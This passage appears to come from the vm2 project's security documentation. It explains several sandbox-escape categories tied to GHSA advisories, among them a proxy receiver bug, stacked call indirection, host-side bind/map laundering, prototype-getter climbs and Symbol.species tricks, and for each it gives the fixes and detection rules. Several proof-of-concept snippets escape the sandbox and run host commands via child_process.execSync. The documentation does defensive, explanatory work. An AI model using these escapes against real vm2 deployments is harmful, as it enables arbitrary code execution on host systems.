2. Sandbox constructs an inheriting object: const child = Object.create(hostObj) (or any equivalent — Reflect.set(hostObj, k, v, sandboxObj), Object.create(Object.create(hostObj)), Object.assign(Object.create(hostObj), src)).
3. Sandbox writes a property: child[key] = sandboxValue. V8's [[Set]] walks child → proxy(hostObj) and invokes the trap with Receiver = child.
4. The pre-fix trap discarded Receiver and ran otherReflectSet(hostObj, key, value). The property landed on hostObj on the host realm.
5. Host code subsequently reads hostObj[key] (or Object.getOwnPropertySymbols(hostObj), or dispatches through it via a well-known protocol such as util.promisify). The attacker's value is read; if the host treats it as a callable, sandbox code runs in the host realm.

Canonical Example Copy Section

// (advisory GHSA-c4cf-2hgv-2qv6)
const util = require('util');
const { VM } = require('vm2');

const hostFn = function api(cb) { cb(null, 'real-data'); };
const vm = new VM();
vm.sandbox.hostFn = hostFn;

vm.run(`
  const kCustom = Symbol.for('nodejs.util.promisify.custom');
  const child = Object.create(hostFn);
  child[kCustom] = function () {
    return Promise.resolve('HIJACKED-VIA-RECEIVER-BUG');
  };
`);

// Host side:
util.promisify(hostFn)().then(console.log);   // → "HIJACKED-VIA-RECEIVER-BUG"

Five variants share the same primitive — receiver !== <canonical proxy for target>:

Why It Works Copy Section

BaseHandler.set was written to "forward writes to the host target", a reasonable mental model when the only assumption is proxy.x = v. The spec, however, defines [[Set]] over the proxy as a single trap that subsumes all writes reaching the proxy through the prototype chain — including writes whose original recipient is some sandbox-side child. Two existing handlers got this right by accident: ReadOnlyHandler.set writes to receiver unconditionally (its policy is "host is read-only"), and ProtectedHandler.set's function-value branch also installs on receiver. BaseHandler.set was the only trap that violated the spec — and because every non-intrinsic host object flows through BaseHandler (intrinsics go through ProtectedHandler's OPNA short-circuit, read-only mocks go through ReadOnlyHandler), the bug applied to every embedder-exposed object the sandbox was ever handed.

Interaction with Category 8 / GHSA-m5q2-4fm3-vfqp: the m5q2 fix expanded Symbol.for to deny the entire nodejs. namespace and added an isDangerousCrossRealmSymbol(key) rejection inside the set / defineProperty / deleteProperty traps themselves. That symmetric symbol guard fires before the receiver-mismatch check below, so the canonical symbol-key PoC (variant 1) is now structurally blocked at two independent layers even on a sandbox lacking this category's fix. The receiver bug remains a real, generic write-channel — variants 2–5 (plain string keys, forged Reflect.set receiver, deep proto chains, Object.assign(child, src)) reach the host write path without involving any cross-realm symbol — so this category's fix is required defense-in-depth on top of m5q2 rather than a duplicate of it.

Mitigation Copy Section

Restores Defense Invariant 1 ("no host-realm object reaches sandbox code unwrapped") and makes an until-then implicit corollary explicit: a sandbox-originated write reaches a host-realm object only when the spec [[Set]] receiver equals the canonical bridge proxy for that object's target.

lib/bridge.js, BaseHandler.set (after the existing __proto__ and constructor-on-array short-circuits, before the host-write forwarding):

const canonicalProxy = thisReflectApply(thisWeakMapGet, mappingOtherToThis, [object]);
if (receiver !== canonicalProxy) {
    return thisReflectDefineProperty(receiver, key, {
        __proto__: null,
        value: value,
        writable: true,
        enumerable: true,
        configurable: true,
    }) === true;
}

The lookup reuses mappingOtherToThis, which thisProxyOther already populates with [other, proxy] (!isHost) or [other, proxy2] (isHost). In the host-loaded branch the outer proxy2 is the sandbox-facing object; its empty handler forwards [[Set]] to proxy while preserving Receiver, so the BaseHandler trap fires with Receiver === proxy2. Both branches therefore yield a single canonical proxy per host target, and direct sandbox writes (hostProxy.x = v, Reflect.set(hostProxy, k, v, hostProxy), Object.assign(hostProxy, src)) continue to take the legitimate otherReflectSet path. Non-canonical receivers — Object.create(proxy) children, explicit-receiver Reflect.set calls, sandbox-side setPrototypeOf constructions — install on the receiver itself via Reflect.defineProperty, exactly as the spec mandates.

The fix is symmetric with ReadOnlyHandler.set (which uses the same install-on-receiver shape unconditionally) and with the function-value branch of ProtectedHandler.set. ProtectedHandler.set inherits the fix automatically through its super.set delegation for non-function values.

Detection Rules Copy Section

• Object.create(hostProxy) followed by property assignment on the child — every form: child[k] = v, Reflect.set(child, k, v), Object.defineProperty(child, k, desc) (the last installs on child directly and does not route through the trap, so it is not relevant; the first two are).
• Reflect.set(hostProxy, k, v, receiver) where receiver !== hostProxy — explicit-receiver writes against any host object.
• Object.assign(Object.create(hostProxy), src) — bulk pollution via the receiver-mismatch primitive.
• Code review pattern: sandbox code that calls Object.create on any embedder-exposed object is suspicious; benign sandbox code virtually never needs to inherit from host objects.

Considered Attack Surfaces Copy Section

• Reflect.set(hostProxy, k, v, hostProxy) — receiver matches the canonical proxy, goes through the legitimate write path. Equivalent to hostProxy[k] = v. Existing isProtectedHostObject and __proto__ short-circuits still apply.
• Reflect.set(hostProxy, k, v, undefined) / null — receiver does not strict-equal the canonical proxy → install-on-receiver branch fires → Reflect.defineProperty(undefined, …) throws a TypeError, the sandbox sees a TypeError, the host object is untouched.
• Adversary-controlled Proxy receiver with a custom defineProperty trap — vm2 does not expose the Proxy constructor to the sandbox in plain VM mode (typeof Proxy === 'undefined'), so this composition is not reachable today. If a future change exposes Proxy, the install-on-receiver branch must be re-audited.
• setPrototypeOf(child, hostProxy) after child already has writes — the next write on child walks the new prototype, fires the trap with Receiver = child, and installs on child. Host untouched.
• BaseHandler.defineProperty — [[DefineOwnProperty]] carries no Receiver per ECMA-262 §9.5.6; Object.defineProperty(child, k, desc) where child inherits from hostProxy installs on child directly without invoking the proxy's defineProperty trap. No analogous receiver bug exists. (Object.defineProperty(hostProxy, k, desc) does route to the trap, but that path already has the isProtectedHostObject short-circuit from GHSA-vwrp-x96c-mhwq.)
• BaseHandler.deleteProperty — [[Delete]] (§9.5.10) has no Receiver. delete child.k for child inheriting from proxy is a no-op on the proxy.
• Compound with Category 18: Array Species Self-Return — Object.create(hostArray).constructor = fn now installs constructor on the sandbox child rather than (as before the existing array-constructor short-circuit) on the proxy target. The host array's raw constructor slot remains untouched in either case; neutralizeArraySpeciesBatch continues to defend the species path independently.

Attack Category 37: Stacked Indirection Bypass of Host Prototype Mutator Peel Copy Chapter

Advisories: GHSA-v6mx-mf47-r5wg, GHSA-cfcw-xp6x-25gj

Tests: test/ghsa/GHSA-v6mx-mf47-r5wg/, test/ghsa/GHSA-cfcw-xp6x-25gj/

Uses: Category 30: Host Prototype Mutation via Bridged Setter Primitives.

Supersedes: extends Category 30 — the depth-1 indirection peel introduced there is the bypass surface.

Description Copy Section

The GHSA-v6mx-mf47-r5wg fix added an apply-trap guard that peels one layer of Function.prototype.call / Function.prototype.apply / Function.prototype.bind / Reflect.apply / Reflect.construct indirection: when the apply target is one of those primitives, the trap unwraps context (or args[0] for Reflect.apply) and checks the underlying function against dangerousHostProtoMutators. An attacker who stacks two layers of indirection defeats that peel because the peel inspects only one position. PoC:

// (advisory GHSA-cfcw-xp6x-25gj)
Buffer.call.call(Buffer.call, setProto, target, null);

In the bridge apply trap this surfaces as:

• object = host Function.prototype.call (outer .call)
• context = host Function.prototype.call (the receiver Buffer.call)
• args = [setProto, target, null]

The depth-1 peel unwraps context → Function.prototype.call, which is itself an indirection primitive and not in the dangerous-mutator set. The check passes; V8 unfolds the chain inside a single host call without re-entering the apply trap; the inner Function.prototype.call invokes setProto.[[Call]](target, [null]), severing the host prototype as in Category 30. Once the prototype is severed, the canonical e.constructor.constructor pivot to host Function works.

CWE-913 (Improper Control of Dynamically-Managed Code Resources).

Attack Flow Copy Section

1. Obtain references to host Object.prototype.__proto__ accessor: setProto = Buffer.call.call(Buffer.call, {}.__lookupSetter__, Buffer, "__proto__"), getProto analogously.
2. Trigger a host-realm rejection (await WebAssembly.compileStreaming()).
3. In catch (e), sever the host prototype via the double-indirection form: Buffer.call.call(Buffer.call, setProto, getProtoOf(e), null). The depth-1 v6mx peel sees only Function.prototype.call as the underlying and allows the call through.
4. Trigger a second host-realm rejection. The bridge's read-side defense (Category 30 Layer B — cache check in thisEnsureThis) catches values that have already crossed via the bridge, but the freshly-thrown host TypeError has not crossed yet; with its prototype chain severed, the proto-walk falls through and ensureThis returns the raw host value.
5. e.constructor.constructor → host Function → new HostFunction("return process")() → RCE.

Canonical Example Copy Section

// (advisory GHSA-cfcw-xp6x-25gj)
const { VM } = require("vm2");
const vm = new VM();
vm.run(`
  const getProto = Buffer.call.call(Buffer.call, {}.__lookupGetter__, Buffer, "__proto__");
  const setProto = Buffer.call.call(Buffer.call, {}.__lookupSetter__, Buffer, "__proto__");
  async function f() {
    try { await WebAssembly.compileStreaming(); }
    catch(e) {
      Buffer.call.call(Buffer.call, setProto,
        Buffer.call.call(Buffer.call, getProto, e), null);
    }
    try { await WebAssembly.compileStreaming(); }
    catch(e) {
      e.constructor.constructor("return process")()
        .mainModule.require('child_process').execSync('touch pwned');
    }
  }
  f();
`);

Why It Works Copy Section

The v6mx peel is positional: it inspects exactly one layer of indirection (object is F.p.call, look at context). A second layer pushes the dangerous function out of that position — context is now F.p.call, and the dangerous function is in args[0]. V8's spec for F.p.call.[[Call]](thisArg, args) is thisArg.[[Call]](args[0], args.slice(1)), so a chain of N .calls consumes N arguments before reaching the actual function — and V8 unfolds the chain inside a single host call without re-entering any sandbox proxy trap.

Adding deeper positional peeling would be an arms race: 3-layer (F.p.call.call.call(...)), mixed .call/.apply/Reflect.apply, and .bind-then-invoke chains all need their own positional handling. The structural answer is to deny the reference, not the invocation: refuse to ever deliver a callable host prototype mutator into the sandbox, so no number of indirection wrappers can resurrect the primitive.

Mitigation Copy Section

Structural fix in lib/bridge.js — refuse to deliver any raw host prototype mutator across the bridge at any of the three value-crossing chokepoints. The dangerous-mutator set is already populated at bridge init by the v6mx fix; this category extends its use from "invocation check" to "delivery check":

• thisFromOtherWithFactory — the main host→sandbox value path. Apply-trap return values, get-trap property reads, getOwnPropertyDescriptor .set/.get projections, and iterator yields all funnel through here.
• thisFromOtherForThrow — host throw values delivered into sandbox catch blocks.
• thisEnsureThis — this-coercion / catch-binding re-entry path.

In each, after the mappingOtherToThis cache check, return emptyFrozenObject if other matches isDangerousHostProtoMutator:

if (!isHost && isDangerousHostProtoMutator(other)) {
  return emptyFrozenObject;
}

This mirrors the existing handling for dangerous Function constructors (isDangerousFunctionConstructor) in the same chokepoints. The cache-check ordering is critical: connect() already registered safe sandbox-realm surrogates for Object.prototype.__defineGetter__ / __defineSetter__ (see localObject.prototype.__defineGetter__ etc. in lib/setup-sandbox.js). A cache hit returns the surrogate, preserving the legitimate sandbox API. Only the uncached, raw host references — exactly what the attacker needs — are filtered.

After this fix:

• const setProto = Buffer.call.call(Buffer.call, {}.__lookupSetter__, Buffer, "__proto__") assigns emptyFrozenObject (the host setter never crosses the bridge).
• Any subsequent setProto.call(...), setProto.apply(...), setProto.bind(...), or Reflect.apply(setProto, ...) synchronously throws TypeError: setProto.call is not a function — the sandbox cannot apply a non-callable through any number of indirection wrappers.
• N-layer indirection, mixed .call/.apply/.bind/Reflect.apply, future built-ins that act as .call substitutes, and descriptor-projection reads all collapse at the same upstream filter. The root primitive — holding a reference — is gone.

The v6mx apply-trap peel remains in place as a complementary invocation-side check. The two layers (delivery refusal + apply-trap refusal) cover both "sandbox holds the reference and tries to apply it" and "sandbox somehow acquires the reference through a path that bypasses delivery". This restores Defense Invariant #1 ("Never expose host constructors or prototypes") at the value-crossing chokepoint rather than at the call-site, eliminating positional dependency.

Detection Rules Copy Section

• Sandbox reads any property whose value would be a host prototype mutator — Reflect.getOwnPropertyDescriptor, Object.getOwnPropertyDescriptors, __lookupSetter__, __lookupGetter__ results, descriptor .set/.get projections. All funnel through thisFromOtherWithFactory.
• Sandbox catches a host throw value that resolves to a host prototype mutator — covered by thisFromOtherForThrow.
• Sandbox catch-binding re-entry with a host prototype mutator — covered by thisEnsureThis.
• Sandbox calls ({}).__lookupSetter__('__proto__') or ({}).__lookupGetter__('__proto__') and assigns the result — the result is now emptyFrozenObject, not the host accessor. Detection: assignment value is Object.isFrozen(x) && Object.keys(x).length === 0 && typeof x !== 'function'.

Considered Attack Surfaces Copy Section

• Future indirection primitives — any host built-in that V8 might add later, or that a Node version surfaces, that transitively invokes a function on its this. The delivery filter is layer-count and primitive-name independent; the underlying reference never crosses into the sandbox.
• Apply-trap target/context confusion — if a future bug lets sandbox code reach the apply trap with the dangerous mutator as args[0] for a non-Reflect.apply target (e.g., a new Function.prototype.applyN), the v6mx peel would not match. The delivery filter does not depend on target-vs-context positioning, so this composition is also closed.
• Object.setPrototypeOf on sandbox-realm targets — not in the dangerous-mutator set (only host-realm copies are). Sandbox code can still mutate its own prototypes freely via the sandbox-realm Object.setPrototypeOf, which is a different function identity from the host's.
• Object.defineProperty on sandbox-realm targets — same reasoning. Sandbox-realm Object.defineProperty continues to work normally.
• __defineGetter__ / __defineSetter__ on sandbox objects — the connect()-registered sandbox surrogates are returned via the mappingOtherToThis cache hit before the filter fires. Preserves the issue #176 regression behavior.

Related Categories Copy Section

• Category 30: Host Prototype Mutation via Bridged Setter Primitives — direct ancestor. v6mx introduced the dangerous-mutator set and the depth-1 apply-trap peel; this category extends the same set's use to delivery refusal.
• Category 26: Sandbox-Realm Null-Proto via Bridge from() Set-Trap Write-Through — explains why the cache-check must come first in each chokepoint (sandbox-realm surrogates are returned by the cache hit before the filter applies).

Follow-Up Bypass: Host-Side Laundering via `bind` + Host Higher-Order Method (GHSA-cfcw-xp6x-25gj, 2026-05-25) Copy Section

The delivery-refusal and apply-trap-peel defenses above are both identity-based: they recognize the host indirection primitives (Function.prototype.{call,apply,bind}, Reflect.{apply,construct}) and the host prototype mutators by reference. The reporter defeated both by never holding the dangerous reference as a sandbox value and never re-crossing the bridge during the dangerous invocation:

// (advisory GHSA-cfcw-xp6x-25gj, follow-up)
const ca = Buffer.call.call(Buffer.bind, Buffer.apply, Buffer.call, Buffer.call);
// ca === host Function.prototype.apply.bind(call, call) — a FRESH host function
// identity, in NEITHER applyIndirectionPrimitives NOR dangerousHostProtoMutators.
function caar(a){ const r = Buffer.of().toJSON().data; r[0] = a; return r.map(ca); }
// r is a GENUINE host array; r.map(ca) runs host Array.prototype.map, which calls
// the host ca callback host-side. __lookupSetter__ and the __proto__ setter run
// entirely in the host realm — ZERO bridge crossings to inspect.
async function f() {
  try { await WebAssembly.compileStreaming(); }
  catch (e) {
    const g = caar([{}.__lookupGetter__, Buffer, "__proto__"]); g[1] = e;
    const s = caar([{}.__lookupSetter__, Buffer, "__proto__"]); s[1] = ca(g); s[2] = null;
    ca(s);                          // severs the host error prototype chain, host-side
  }
  try { await WebAssembly.compileStreaming(); }
  catch (e) { e.constructor.constructor("return process")()...; }
}

Why it works: Function.prototype.bind mints a fresh host function identity (ca) that bakes the indirection internally, so neither identity set matches it. Seeding a genuine host array (Buffer.of().toJSON().data) and invoking host Array.prototype.map(ca) runs the host applicator host-side — the dangerous __proto__ setter executes in the host realm with no bridge apply trap on the path. Instrumenting the apply trap shows zero host applies of any dangerous/indirection primitive: the whole chain is laundered host-side. Both prior defenses inspect values crossing the bridge; this composes entirely around the bridge. The severed host error then surfaces in the second catch, where e.constructor.constructor reaches host Function.

Mitigation — mechanism-independent payoff hardening. Rather than chase the laundering mechanism (an arms race: bind-derivatives, then Reflect.apply-derivatives, then every host higher-order method), close the payoff. The escape's terminal requirement is invariant across all severance mechanisms: a raw host-realm object with a severed prototype chain must surface in sandbox code. Two independent layers refuse exactly that:

1. lib/bridge.js thisEnsureThis — the sole chokepoint that returns a host object raw on proto-walk fall-through (thisFromOtherForThrow and thisFromOtherWithFactory proxy instead). During the walk, track whether the chain passes through the sandbox Object.prototype (thisObjectPrototype). Every genuine sandbox-realm value's chain terminates there; a severed host object walks to null without ever seeing it. On fall-through, if !sawSandboxObjectProto, return emptyFrozenObject.
2. lib/setup-sandbox.js handleException — the sole sanitizer the transformer routes every caught value through. isForeignSeveredHostValue(e) applies the same discriminator (chain reaches null without hitting the sandbox Object.prototype, captured at module load and unforgeable from inside the sandbox); if true, replace the value with a benign sandbox Error. Primordial Object.create(null) values (immediate null proto) are explicitly exempt, preserving GHSA-9vg3 behavior.

Both layers are mechanism-independent — they do not care how the chain was severed (direct bridge call, stacked indirection, or fully host-side bind/map laundering), only that the result is a foreign severed host object. Either layer alone blocks the escape; they sit at independent chokepoints (bridge re-entry vs. transformer catch sanitizer). The discriminator is sound because the raw sandbox Object.prototype only exists in the sandbox realm — host-side code can never hold it (it crosses the bridge as a proxy), so a host object's chain can never falsely appear to pass through it. This restores Defense Invariant #1 ("Never expose host constructors or prototypes") at the payoff — the universal e.constructor.constructor === host.Function pivot — independent of the delivery or invocation mechanism, and supersedes the positional v6mx peel and the identity-based delivery refusal for the severance-payoff class (both retained as complementary earlier-layer defenses).

A rejected alternative was tracking bind-derivatives of the applicators in the apply trap (refuse any bind-of-an-applicator as call target/this/argument). It blocks the laundering earlier but is mechanism-specific (a novel host-side execution vector that does not use bind-of-applicator would slip), higher-collateral on legitimate .call/.apply/.bind, and unnecessary given the payoff hardening already closes the class.

Attack Category 50: Host Prototype-Chain Climb via Raw `__proto__` Getter (Reader Side) Copy Chapter

Advisories: GHSA-88hf-g992-jg85

Tests: test/ghsa/GHSA-88hf-g992-jg85/

Uses: Category 2: Prototype Chain Manipulation, Category 20: Host Intrinsic Prototype Pollution via Bridge Write Traps, Category 30: Host Prototype Mutation via Bridged Setter Primitives.

Advisory: GHSA-88hf-g992-jg85 (NodeVM default config). The reader-side analog of the GHSA-v6mx / GHSA-cfcw setter work.

Description Copy Section

The bridge deliberately flattens the host prototype chain. When a host object is wrapped, its proxy's target [[Prototype]] is set so that getPrototypeOf (and the .__proto__ / Object.getPrototypeOf read paths, all of which route through the getPrototypeOf trap) reports the host value as inheriting directly from the sandbox Object.prototype, then null. The intermediate host builtin prototypes — Socket.prototype, Duplex.prototype, Readable.prototype, Stream.prototype, EventEmitter.prototype — are invisible to sandbox code.

This flattening is load-bearing: those intermediate host prototypes are not in protectedHostObjects (only cached JS intrinsic prototypes + constructors are). If sandbox code could reach one as a bridge proxy, BaseHandler.set would forward a write straight to the raw host object — e.g. EventEmitter.prototype.emit = fn.

The escape pierces the flattened view by extracting the raw host Object.prototype.__proto__ getter and invoking it directly. gP.call(x) bypasses the getPrototypeOf trap and returns the true host [[Prototype]] of x, freshly wrapped — exposing each intermediate host prototype one hop at a time. GHSA-v6mx/cfcw classified the __proto__ setter (a mutator) as dangerous but left the getter (a reader) deliverable.

CWE-913 (Improper Control of Dynamically-Managed Code Resources).

Attack Flow Copy Section

1. Extract the raw host getter: const gP = Buffer.call.call(({}).__lookupGetter__, 67, '__proto__');. Host Function.prototype.call unwraps the connect()-mapped sandbox __lookupGetter__ to its host counterpart, which (invoked host-side with this = 67) walks host Number.prototype → Object.prototype and returns the host __proto__ getter. It crosses back and is wrapped as a callable bridge proxy.
2. Climb: starting from a host object reachable in NodeVM (console._stdout), repeatedly call gP.call(cur). Each call returns the raw host [[Prototype]] — Socket → Duplex → Readable → Stream → EventEmitter.prototype — as a fresh, writable bridge proxy.
3. Write a sandbox function onto the reached host prototype: EventEmitter.prototype.emit = fn. EE.prototype is not protected, so BaseHandler.set forwards the write to the real host object.
4. Later, any host process.emit(...) / console.log(...) invokes the sandbox emit with this === host object → arbitrary host code execution.

Canonical Example Copy Section

// GHSA-88hf-g992-jg85
const { NodeVM } = require("vm2");
new NodeVM().run(`
  const gP = Buffer.call.call(({}).__lookupGetter__, 67, '__proto__');
  let cur = console._stdout, ee = null;
  for (let i = 0; i < 25; i++) {
    const p = gP.call(cur);
    if (!p) break;
    if (Object.prototype.hasOwnProperty.call(p, 'emit')) { ee = p; break; }
    cur = p;
  }
  ee.emit = function () { /* runs later with host 'this' */ };
`);

Laundering variants (all closed): Buffer.apply.apply(g, [Buffer, ['__proto__']]), Reflect.apply-based extraction, and the GHSA-cfcw map/bind host-side applicator ca — every one still needs a host-invocable proto-reader as a value to climb, and all such readers are denied delivery.

Why It Works Copy Section

The getPrototypeOf trap returns a flattened chain; but a directly invoked raw host getter is a plain host function call whose result is the un-flattened host prototype. The prior mutator defenses (dangerousHostProtoMutators) covered only the write primitive. Reading a prototype was deemed harmless — but the reader hands the sandbox a writable proxy of a non-intrinsic host prototype, and non-intrinsic host prototypes are outside protectedHostObjects.

Mitigation Copy Section

lib/bridge.js: classify the raw host proto-readers as dangerous-to-deliver, symmetric to the mutator set. A new identity set dangerousHostProtoReaders is populated at bridge init with the host Object.prototype.__proto__ getter, host Object.getPrototypeOf, and host Reflect.getPrototypeOf. isDangerousHostProtoReader(other) is consulted after the mappingOtherToThis cache short-circuit in the three host→sandbox delivery chokepoints — thisFromOtherWithFactory, thisEnsureThis, thisFromOtherForThrow — and returns emptyFrozenObject (a non-callable; its .call is undefined). The apply trap additionally refuses invocation of a reader (direct, one-layer Function.prototype.{call,apply,bind} peel, and Reflect.{apply,construct}) as defense-in-depth.

Because the sandbox can never hold a host-invocable proto-reader, it cannot pierce the flattened view by any composition — direct, stacked indirection, or host-side laundering (laundering still needs the reader as an array element, which is denied). Cache-first ordering preserves any connect()-registered sandbox surrogate. Legitimate Object.getPrototypeOf(hostProxy) / hostProxy.__proto__ / Reflect.getPrototypeOf(hostProxy) keep working: they use the sandbox-realm intrinsics and route through the getPrototypeOf trap, returning the flattened wrapped proto — they never extract or invoke the raw host reader. Enforces Defense Invariant: host callables that read/climb host prototype chains outside the getPrototypeOf trap must never reach the sandbox.

Second layer — the write-side payoff (defense-in-depth). Independent of how a host prototype is reached, the escape only pays off when the sandbox plants a callable on a shared host prototype so the host later invokes it with a foreign this. That payoff is closed structurally too: host [[Prototype]] objects are marked at delivery time (looksLikeHostPrototype — an object that owns a data constructor whose .prototype points back at it, read via otherSafeGetOwnPropertyDescriptor so no host getter fires), recorded eagerly in hostObjectsUsedAsPrototype before any sandbox write can run. BaseHandler.set and BaseHandler.defineProperty then divert function values and accessor descriptors written to a marked prototype onto the sandbox-side proxy target instead of otherReflectSet/otherReflectDefineProperty-ing them onto the raw host object. Marking is indirection-independent (decided by the object's shape at delivery, not by how it was obtained) and persistent (later constructor corruption cannot clear a mark). Two properties keep the embedder contract intact: data writes always flow through to the host, and leaf host objects handed to the sandbox are never marked (their constructor is inherited, not own), so test/vm.js's freeze, protect > without freeze — where the sandbox installs a function on an exposed host object the host reads back — still holds. Either layer alone blocks the canonical PoC; together they close the read primitive and the write payoff for any future read path.

Detection Rules Copy Section

• __lookupGetter__ / Object.getOwnPropertyDescriptor(..., '__proto__').get composed with Buffer.call / Buffer.apply / Reflect.apply — the raw-getter extraction primitive.
• Repeated single-hop getter.call(x) producing objects with own builtin-prototype methods (emit, pipe, write) — a raw-chain climb, distinct from the flattened Object.getPrototypeOf walk that terminates at Object.prototype.
• A write of a function value onto any object reached through such a climb — the payoff sink; the reached object is a host builtin prototype outside protectedHostObjects.

Considered Attack Surfaces Copy Section

• Direction (B) — protecting the reachable host-prototype set instead of denying the reader: rejected. Enumerating every non-intrinsic host prototype at init is impossible, and protecting them at the apply-trap result site (à la the v6mx peel) is defeated by host-side map/bind laundering exactly as the peel was. Denying the reader at delivery is the complete, laundering-independent chokepoint.
• Object.getPrototypeOf / Reflect.getPrototypeOf as data-property readers: not currently extractable as raw host references via __lookupGetter__ (they are data properties, not accessors), but added to dangerousHostProtoReaders defensively so any future host return path that surfaces them is denied.

Attacks Host Reference Primitives (`docs/attacks/host-reference-primitives.md`) Copy Section

Host Reference Primitives

Ways for sandbox code to obtain a raw host-realm object or the host Function constructor through language-level channels: constructor chains, prototype walks, well-known and cross-realm symbols, caller/callee, property descriptors, built-in functions used as conduits, and ArraySpeciesCreate. These are the atomic building blocks every compound escape starts from.

Defense invariants enforced by fixes in this family: 1, 4, 7, 8 (see Defense Invariants).

Categories in this file: 1, 2, 3, 5, 8, 10, 15, 18, 54.

Attack Category 1: Constructor Chain Traversal Copy Chapter

Advisories: none

Tests: test/vm.js ("various attacks #1"), test/vm.js ("various attacks #2"), test/vm.js ("constructor arbitrary code attack")

Description Copy Section

Every object in JavaScript has a .constructor property pointing to the function that created it. By walking up the constructor chain (obj.constructor.constructor), an attacker can reach the Function constructor of the host realm, which can evaluate arbitrary code outside the sandbox.

Attack Flow Copy Section

1. Obtain any host-realm object (via bridge-exposed built-in, error, or prototype traversal).
2. Access .constructor to get the object's constructor function.
3. Access .constructor again to get Function (since every function's constructor is Function).
4. Call Function("return process")() to get the host process object.
5. process.mainModule.require("child_process").execSync(...) for RCE.

Canonical Examples Copy Section

// Direct global constructor chain
const HostFunction = this.constructor.constructor;
const process = HostFunction("return process")();

// Via __proto__
const process = global.__proto__.constructor.constructor("return this")()
  .constructor.constructor("return process")();

// Via an error object in catch
try { undefinedFunction(); }
catch (e) {
  const HostFunction = e.constructor.constructor;
  const process = HostFunction("return process")();
}

Why It Works Copy Section

The sandbox shares the same V8 isolate as the host. If constructors are not intercepted, the prototype chain eventually reaches the host realm's Function, which can compile and run code in the host context.

Mitigation Copy Section

The bridge's get trap intercepts .constructor access on proxied objects and returns {} (an empty object) for dangerous function constructors (Function, AsyncFunction, GeneratorFunction, AsyncGeneratorFunction). The isThisDangerousFunctionConstructor check blocks both this-realm and other-realm Function constructors.

Detection Rules Copy Section

• Any access to .constructor.constructor on any object is suspicious.
• Function("return process")() or equivalent string-to-code patterns.
• e.constructor inside a catch block where e is an error -- the error might carry host prototype references.
• global.constructor, this.constructor, or any object's .constructor followed by invocation with a string argument.

Attack Category 2: Prototype Chain Manipulation Copy Chapter

Advisories: none

Tests: test/vm.js ("proxy trap via Object.prototype attack"), test/vm.js ("defineGetter / defineSetter attack"), test/vm.js ("lookupGetter / lookupSetter attack"), test/vm.js ("Object.create attack"), test/vm.js ("setPrototypeOf on sandbox-local objects")

Description Copy Section

Attackers modify or traverse the prototype chain to access host objects or pollute shared prototypes to intercept security-critical operations.

Attack Flow Copy Section

1. Traverse __proto__ chains to reach host-realm prototypes.
2. Alternatively, pollute Object.prototype with getter/setter traps that intercept bridge-internal property access.
3. When the bridge copies property descriptors or checks types, the polluted prototype injects attacker code.

Canonical Examples Copy Section

// Climbing via __proto__
const hostObject = obj.__proto__.__proto__;

// Prototype pollution to intercept property descriptors
Object.defineProperty(Object.prototype, "get", {
  get() {
    throw f => f.constructor("return process")();
  }
});

// Setting prototype to bypass instanceof checks
Object.setPrototypeOf(promise, {});

// __defineGetter__ on prototypes
Buffer.prototype.__defineGetter__("toString", () => {});

Why It Works Copy Section

Prototype pollution can intercept property descriptor operations that the bridge uses internally. If an attacker can define a get or set trap on Object.prototype, they can hijack the bridge's own property copying logic. Additionally, __proto__ traversal can reach host-realm prototypes that were not properly proxied.

Mitigation Copy Section

The bridge uses null-prototype objects ({__proto__: null}) for all internal descriptor operations. __proto__ access is intercepted by the proxy get trap and returns the sandbox-side prototype. The bridge caches all critical Reflect.* methods at initialization, preventing monkey-patching.

Detection Rules Copy Section

• Object.defineProperty(Object.prototype, ...) -- polluting the root prototype.
• __defineGetter__ or __defineSetter__ on any prototype object.
• Object.setPrototypeOf or Reflect.setPrototypeOf -- changing prototype chains.
• __proto__ access or assignment -- direct prototype manipulation.
• __lookupGetter__ or __lookupSetter__ -- accessing internal getter/setter references.

Attack Category 3: Symbol-Based Attacks Copy Chapter

Advisories: none

Tests: test/vm.js ("[Symbol.species] attack"), test/vm.js ("Symbol.hasInstance attack"), test/vm.js ("Symbol.hasInstance override to bypass resetPromiseSpecies"), test/vm.js ("Symbol.species getter TOCTOU attack via Promise"), test/vm.js ("Object.defineProperty override attack via Promise species"), test/vm.js ("symbol")

Description Copy Section

JavaScript Symbols provide special protocol hooks (Symbol.species, Symbol.hasInstance, Symbol.iterator, etc.) that can override fundamental behaviors. Attackers use these to bypass type checks or redirect object construction. See also Category 18: Array Species Self-Return for a concrete exploitation of Symbol.species.

Attack Flow Copy Section

1. Identify a V8 internal algorithm that reads a well-known symbol (e.g., Symbol.species for promise/array construction, Symbol.hasInstance for instanceof checks).
2. Override the symbol on a target object to redirect the algorithm's behavior.
3. The redirected behavior causes V8 to pass unsanitized host values to attacker-controlled code.

Canonical Examples Copy Section

// Symbol.hasInstance to bypass instanceof
Object.__defineGetter__(Symbol.hasInstance, () => () => true);
Buffer.from.constructor("return process")();

// Symbol.hasInstance override to bypass resetPromiseSpecies guard
const GP = Object.getPrototypeOf(Promise); // gets globalPromise
Object.defineProperty(GP, Symbol.hasInstance, {value: () => false});
// Now `p instanceof globalPromise` returns false, skipping species reset
const p = asyncFn();
p.constructor = { [Symbol.species]: MaliciousPromise };
p.then(); // resetPromiseSpecies skipped due to instanceof bypass

// Symbol.species to redirect Promise construction
const p = asyncFn();
p.constructor = {
  [Symbol.species]: class FakePromise {
    constructor(executor) {
      executor(x => x, err => {
        // err might be unsanitized host error
        const HostFunction = err.constructor.constructor;
        HostFunction("return process")();
      });
    }
  }
};
p.then();

// Symbol.species getter TOCTOU -- returns safe value on first read, malicious on second
const p = asyncFn();
p.constructor = {
  get [Symbol.species]() {
    if (first) { first = false; return Promise; } // passes check
    return FakePromise; // V8 uses this for species resolution
  }
};
p.then();

// Error with Symbol name triggering host error path (see Fundamentals: Error Generation Primitive)
const error = new Error();
error.name = Symbol(); // toString() on Symbol throws TypeError

Why It Works Copy Section

Symbol.species controls what constructor is used when built-in methods create derived objects (e.g., Promise.then creates a new promise). If an attacker substitutes a custom class, that class's constructor receives host-realm values. Symbol.hasInstance controls instanceof checks that the bridge might rely on for type verification.

Mitigation Copy Section

globalPromise and globalPromise.prototype are frozen in setup-sandbox.js, preventing Symbol.hasInstance and Symbol.species overrides. Promise species is reset unconditionally via Reflect.defineProperty (data property, not accessor) before every .then()/.catch() call, eliminating TOCTOU. For arrays, neutralizeArraySpeciesBatch (via neutralizeArraySpeciesOn) sets constructor = undefined on host arrays before host function calls and restores the prior descriptor after.

Detection Rules Copy Section

• Symbol.species usage, especially assignment to .constructor[Symbol.species].
